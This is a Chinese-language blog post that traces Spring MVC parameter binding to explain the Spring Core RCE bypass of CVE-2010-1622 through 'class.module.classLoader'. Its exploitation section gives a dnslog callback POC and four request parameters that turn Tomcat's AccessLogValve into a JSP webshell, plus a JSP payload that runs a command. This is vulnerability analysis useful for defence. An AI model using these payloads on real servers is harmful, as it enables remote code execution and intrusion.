前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Spring Core-RCE深入分析及步步调试出payload

Spring Core-RCE深入分析及步步调试出payload

作者头像
Jayway
发布2022-04-19 09:32:43
1.2K0
发布2022-04-19 09:32:43
举报
文章被收录于专栏:卓文见识卓文见识

既然Spring最新0day漏洞是绕过CVE-2010-1622的修复方式后产生的,那就从这个古老漏洞的本质:参数绑定入手,搭建环境进行调试。

1 Spring参数绑定

首先了解下什么是Spring中的参数绑定,简单来说,springmvc中通过方法形参来接收页面请求的key/value数据,经过参数绑定,将key/value数据绑定到controller方法的形参上。

1.1 基本类型绑定

首先举个例子,如果我们要实现这样一个基本的注册功能:

需要先写一个User的POJO类/Bean类,包含基本的get/set方法:

然后Controller类接负责收前台传输的三个String类型参数,这里如果不使用@RequestParam,要求request传入参数名称和controller方法的形参名称一致,方可绑定成功。如果使用@RequestParam,则不需要。

中间封装一层Service,调用User类set方法实现赋值,完成参数绑定,如形参email对应User类email属性,并把数据传入数据库。

最终在View层完成视图渲染,这样就完成了一个典型的SpringMVC开发。

1.2 对象绑定

形参除了上述使用基本类型外,还可以直接使用POJO类。

直接新增一个controller方法,形参为User实体,然后获取其值并打印:

下面我们访问 http://127.0.0.1:8080/test?name=123,发现成功取到了值123,但代码里我们明明没有调用user.setName方法。

这是因为spring mvc提供的字段映射功能会自动发现对象中的public方法和字段,如果提交的参数中出现了user类的一个public字段或方法,就自动绑定,并且允许用户提交请求给他赋值。

2 参数绑定流程

参数绑定的整个流程如下图所示:

要搞清楚漏洞原理我们需要搞清两个问题:

1)Spring是怎么找到Controller的方法并执行的?

2)获取到方法后如何获取到参数并进行参数绑定的?

我们在spring的总入口DispatcherServlet.java的doDispatch方法处加上断点,一步步跟踪:

2.1 如何执行controller的方法?

1)用户请求经过tomcat处理后,调用Spring总入口DispatcherServlet.java的doDispath方法来路由处理http请求:

2)首先通过getHandler根据传入的request从容器中找到相应的handler,关键代码:

ha.handle(processedRequest, response, mappedHandler.getHandler());

3)通过HandlerAdapter的handle方法,进行统一调用,然后返回ModelAndView对象:

invokeHandlerMethod——>invokeAndHandle——>invokeForRequest——>doInvoke

最终spring调用的是java.lang.reflect.Method类的invoke方法,两个关键参数:

  • target是UserController中的execute方法
  • args是刚刚解析出来的user对象

这样就清楚了Spring是如何执行controller中的方法的。

2.2 如何进行参数绑定?

1)在invokeForRequest中,执行doInvoke方法之前先执行了getMethodArgumentValues操作,即参数相关操作:

resolveArgument——>bindRequestParameters——bind——>doBind

2)doBind方法具体实现数据绑定:

applyPropertyValues——>setPropertyValues——>setPropertyValue

setPropertyValue调用递归函数getPropertyAccessorForPropertyPath获取参数值,循环查看参数中是否包含“.”,若存在则按“.”分割赋值给nestedProperty,pos为nestedProperty值的长度:

如,如果我们发出请求http://127.0.0.1:8080/test?name.jayway,则第一次取到的nestedProperty即为name,pos为4:

如果取到nestedProperty,则将其带到下面的数据流处理:

getNestedPropertyAccessor——>getPropertyValue——>getLocalPropertyHandler

重点来了,这里会调用:

BeanWrapperImpl#getCachedIntrospectionResults().getPropertyDescriptor(propertyName)

去这个缓存cache里去找我们输入的参数propertyName(即nestedProperty属性)是否在User的属性列表里,查看一下这个property列表,除了自动获取的User类的public方法和属性外,竟然还自带了一个class属性:

这意味着,通过这个接口我们不仅可以操作User类,也可以操作任意class,换句话说,下面如果获取到classLoader那我们就可以执行任意对象,继续访问:http://127.0.0.1:8080/test?class.classLoader.xxxxx

成功通过第一层判断,再次走到getPropertyAccessorForPropertyPath,第二次取值为classLoader,这次缓存列表里共有46个值,并不包含classLoader:

但存在module,JDK9及以上版本可以通过class.module.classLoader获取classLoader,继续调试,发现classLoader可获取:

继续:class.module.classLoader.xxx

继续:class.module.classLoader.sources.xxx

继续:class.module.classLoader.sources.context,成功获取到tomcat的context对象,下面漏洞利用的姿势就很多了。

获取到context具体对象后最后会走到getValue:

getValue中通过反射调用对象,完成整个数据绑定流程。这样漏洞原理也就清楚了,剩下的就是构造合适的利用链。

3 漏洞利用

3.1 POC调试

以configFile为例,展开可见其最终调用的方法为org.apache.catalina.core.StandardContext#getConfigFile

具体方法为:

因此我们请求下面的链接即可触发一次URL请求:

http://127.0.0.1:8080/rce?class.module.classLoader.resources.context.configFile=http://spring-jayway.b0ul4q.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx

这个请求相当于执行了:

user.getclass().getclassLoader().getResources().getContext().getconFile()

完整调用链:

3.2 EXP调试

任意访问内部属性的漏洞场景,和CVE-2014-0094非常相似,可以直接借鉴其通过日志写shell思路:

https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

而经过上面调试,发现class.module.classLoader.sources.context可调用parent,即StandardContext的父类ContainerBase:

访问ContainerBase的Pipeline属性:

Pipeline的getFirst方法可获取Valve接口,有多种实现,包括AccessLogValve,这个类包含access日志的相关属性:

通过修改日志文件的这四个配置,包括目录、后缀,我们就可以完成在日志文件中插入恶意jsp代码达到RCE:

对应四个请求如下,依次访问即可成功修改日志属性:日志名改为jayway.jsp,目录改为tomcat根目录:

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=C:/tomcat/webapp/ROOT/

class.module.classLoader.resources.context.parent.pipeline.first.prefix=jayway

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问http://127.0.0.1:8080/aaaa.jsp?a=<% Runtime.getRuntime().exec("calc");%>将恶意代码写入日志文件,访问日志文件jayway.jsp即可触发命令执行:

Tomcat场景下漏洞利用方式不唯一,具体要看通过classLoader调用的类,危害不限于文件操作、DOS、网络请求(SSRF)、dos等。

4 漏洞总结

4.1 漏洞发现思路

这个漏洞和CVE-2010-1622在本质上是一致的,都是由于对象参数的自动绑定引起,关键在于绑定过程中对象自带了class属性,导致用户可以访问任意class。

同时JDK9以上存在class.module.classLoader,可绕过CVE-2010-1622的黑名单从而获取到classLoader,通过这个classLoader可访问到tomcat的context对象,最终任意修改tomcat内部属性,达成写webshell、dos等危害。

4.2 RCE前提

  • JDK版本>=9 (这个版本才能取到classLoader)
  • 使用对象绑定方式 (基本类型绑定场景不影响)
  • 使用Tomcat容器 (如果使用的是springboot,只能取到springboot的classLoader)

5 Refer:

https://www.inbreak.net/archives/377

https://blog.csdn.net/dingodingy/article/details/84705444

https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-04-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1 Spring参数绑定
    • 1.1 基本类型绑定
      • 1.2 对象绑定
        • 2.1 如何执行controller的方法?
        • 2.2 如何进行参数绑定?
    • 2 参数绑定流程
    • 3 漏洞利用
      • 3.1 POC调试
        • 3.2 EXP调试
        • 4 漏洞总结
          • 4.1 漏洞发现思路
            • 4.2 RCE前提
            • 5 Refer:
            相关产品与服务
            容器服务
            腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档